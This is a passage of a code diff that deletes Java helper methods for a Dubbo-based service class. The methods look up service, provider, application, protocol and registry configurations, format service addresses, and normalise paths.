-                serviceConfig.setVersion(providerConfig.getVersion());
-            }
-        }
-
-        ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
-        if (applicationConfig != null) {
-            serviceConfig.setApplication(applicationConfig);
-        }
-
-        List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
-        if (!protocolConfigs.isEmpty()) {
-            serviceConfig.setProtocols(protocolConfigs);
-        }
-
-        List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
-        if (!registryConfigs.isEmpty()) {
-            serviceConfig.setRegistries(registryConfigs);
-        }
-
-        return serviceConfig;
-    }
-
-    private ServiceConfig<?> findRegisteredService(String servicePath) {
-        String normalizedPath = normalizePath(servicePath);
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
-                return serviceConfig;
-            }
-        }
-        return null;
-    }
-
-    private ProviderConfig findProviderConfig() {
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig != null && serviceConfig.getProvider() != null) {
-                return serviceConfig.getProvider();
-            }
-        }
-        return null;
-    }
-
-    private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
-        if (providerConfig != null && providerConfig.getApplication() != null) {
-            return providerConfig.getApplication();
-        }
-
-        for (ProviderModel providerModel : providerModels()) {
-            com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-            if (serviceConfig.getApplication() != null) {
-                return serviceConfig.getApplication();
-            }
-            if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
-                return serviceConfig.getProvider().getApplication();
-            }
-        }
-        return null;
-    }
-
-    private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
-        List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
-        addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-            addProtocols(protocols, serviceConfig.getProtocols());
-            addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
-        }
-        return uniqueProtocols(protocols);
-    }
-
-    private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
-        List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
-        if (!registries.isEmpty()) {
-            return registries;
-        }
-
-        registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
-        if (!registries.isEmpty()) {
-            return registries;
-        }
-
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-
-            registries = registries(serviceConfig.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-
-            ProviderConfig serviceProvider = serviceConfig.getProvider();
-            registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-
-            ApplicationConfig serviceApplication = serviceConfig.getApplication();
-            registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-        }
-
-        return new ArrayList<RegistryConfig>();
-    }
-
-    private String resolveServiceAddresses(String servicePath) {
-        String normalizedPath = normalizePath(servicePath);
-        ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
-        if (serviceConfig == null) {
-            serviceConfig = findRegisteredService(normalizedPath);
-        }
-        if (serviceConfig == null) {
-            return normalizedPath;
-        }
-
-        List<URL> exportedUrls = serviceConfig.getExportedUrls();
-        if (exportedUrls != null && !exportedUrls.isEmpty()) {
-            return formatUrls(exportedUrls);
-        }
-
-        List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
-        if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
-            protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
-        }
-        if (protocols.isEmpty()) {
-            return normalizedPath;
-        }
-
-        return formatProtocolAddresses(protocols, normalizedPath);
-    }
-
-    private String formatUrls(List<URL> urls) {
-        StringBuilder builder = new StringBuilder();
-        for (URL url : urls) {
-            if (builder.length() > 0) {
-                builder.append(", ");
-            }
-            builder.append(formatUrl(url));
-        }
-        return builder.toString();
-    }
-
-    private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
-        StringBuilder builder = new StringBuilder();
-        for (ProtocolConfig protocol : protocols) {
-            if (builder.length() > 0) {
-                builder.append(", ");
-            }
-            builder.append(formatProtocolAddress(protocol, path));
-        }
-        return builder.toString();
-    }
-
-    private String formatUrl(URL url) {
-        String path = normalizePath(url.getPath());
-        int port = url.getPort();
-        return port > 0
-                ? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
-                : String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
-    }
-
-    private String formatProtocolAddress(ProtocolConfig protocol, String path) {
-        String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
-        Integer port = protocol.getPort();
-        return port != null && port > 0
-                ? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
-                : String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
-    }
-
-    private List<ProviderModel> providerModels() {
-        try {
-            return ApplicationModel.allProviderModels();
-        } catch (Throwable ignored) {
-            return new ArrayList<ProviderModel>();
-        }
-    }
-
-    private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
-        if (source != null) {
-            target.addAll(source);
-        }
-    }
-
-    private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
-        Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
-        if (protocols != null) {
-            for (ProtocolConfig protocol : protocols) {
-                if (protocol != null) {
-                    unique.put(protocolKey(protocol), protocol);
-                }
-            }
-        }
-        return new ArrayList<ProtocolConfig>(unique.values());
-    }
-
-    private List<RegistryConfig> registries(List<RegistryConfig> registries) {
-        return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
-    }
-
-    private String protocolKey(ProtocolConfig protocol) {
-        return String.valueOf(protocol.getName())
-                + "|"
-                + String.valueOf(protocol.getHost())
-                + "|"
-                + String.valueOf(protocol.getPort())
-                + "|"
-                + String.valueOf(protocol.getServer())
-                + "|"
-                + String.valueOf(protocol.getId());
-    }
-
-    private String normalizePath(String path) {
-        if (path == null) {
-            return "";
-        }
-
-        String normalized = path.trim();
-        while (normalized.startsWith("/")) {
-            normalized = normalized.substring(1);
-        }
-        return normalized;
-    }
-
-    private boolean notEmpty(String value) {
-        return value != null && !value.isEmpty();
-    }
-
-    private String stackTrace(Throwable throwable) {
-        StringWriter writer = new StringWriter();
-        throwable.printStackTrace(new PrintWriter(writer));
-        return writer.toString();
-    }
-}